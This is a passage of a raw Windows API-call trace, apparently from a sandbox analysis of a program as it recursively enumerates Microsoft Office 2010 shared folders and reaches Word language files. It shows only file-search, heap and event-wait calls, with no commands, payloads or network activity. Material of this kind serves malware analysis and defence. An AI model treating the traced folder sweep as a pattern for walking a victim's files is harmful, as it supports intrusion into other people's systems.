ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.628] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.628] GetProcessHeap () returned 0x550000 [0195.628] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.629] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.629] GetProcessHeap () returned 0x550000 [0195.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.629] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.629] GetProcessHeap () returned 0x550000 [0195.629] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.631] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.632] GetProcessHeap () returned 0x550000 [0195.632] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.774] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.774] GetProcessHeap () returned 0x550000 [0195.774] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.774] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0195.774] GetProcessHeap () returned 0x550000 [0195.774] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0195.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0195.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.778] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.779] GetProcessHeap () returned 0x550000 [0195.779] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.779] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0195.780] GetProcessHeap () returned 0x550000 [0195.780] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0195.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0195.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.782] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.783] GetProcessHeap () returned 0x550000 [0195.783] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.809] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.810] GetProcessHeap () returned 0x550000 [0195.810] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.811] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.812] GetProcessHeap () returned 0x550000 [0195.812] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.813] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.814] GetProcessHeap () returned 0x550000 [0195.814] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.816] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.818] GetProcessHeap () returned 0x550000 [0195.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.819] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.819] GetProcessHeap () returned 0x550000 [0195.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.821] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.821] GetProcessHeap () returned 0x550000 [0195.821] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.823] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.823] GetProcessHeap () returned 0x550000 [0195.823] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.825] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.825] GetProcessHeap () returned 0x550000 [0195.825] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.826] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.827] GetProcessHeap () returned 0x550000 [0195.827] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.828] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.829] GetProcessHeap () returned 0x550000 [0195.829] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.830] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.830] GetProcessHeap () returned 0x550000 [0195.831] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.832] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.832] GetProcessHeap () returned 0x550000 [0195.832] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.833] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.834] GetProcessHeap () returned 0x550000 [0195.834] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.834] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.835] GetProcessHeap () returned 0x550000 [0195.835] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.836] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.836] GetProcessHeap () returned 0x550000 [0195.837] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.925] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.925] GetProcessHeap () returned 0x550000 [0195.926] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.926] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.927] GetProcessHeap () returned 0x550000 [0195.927] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0196.194] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0196.194] GetProcessHeap () returned 0x550000 [0196.194] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0196.194] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0199.608] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0199.608] GetProcessHeap () returned 0x550000 [0199.608] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0199.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0202.133] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0202.133] ResetEvent (hEvent=0xe0) returned 1 [0202.133] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0202.371] ResetEvent (hEvent=0xe0) returned 1 [0202.372] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0203.716] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, 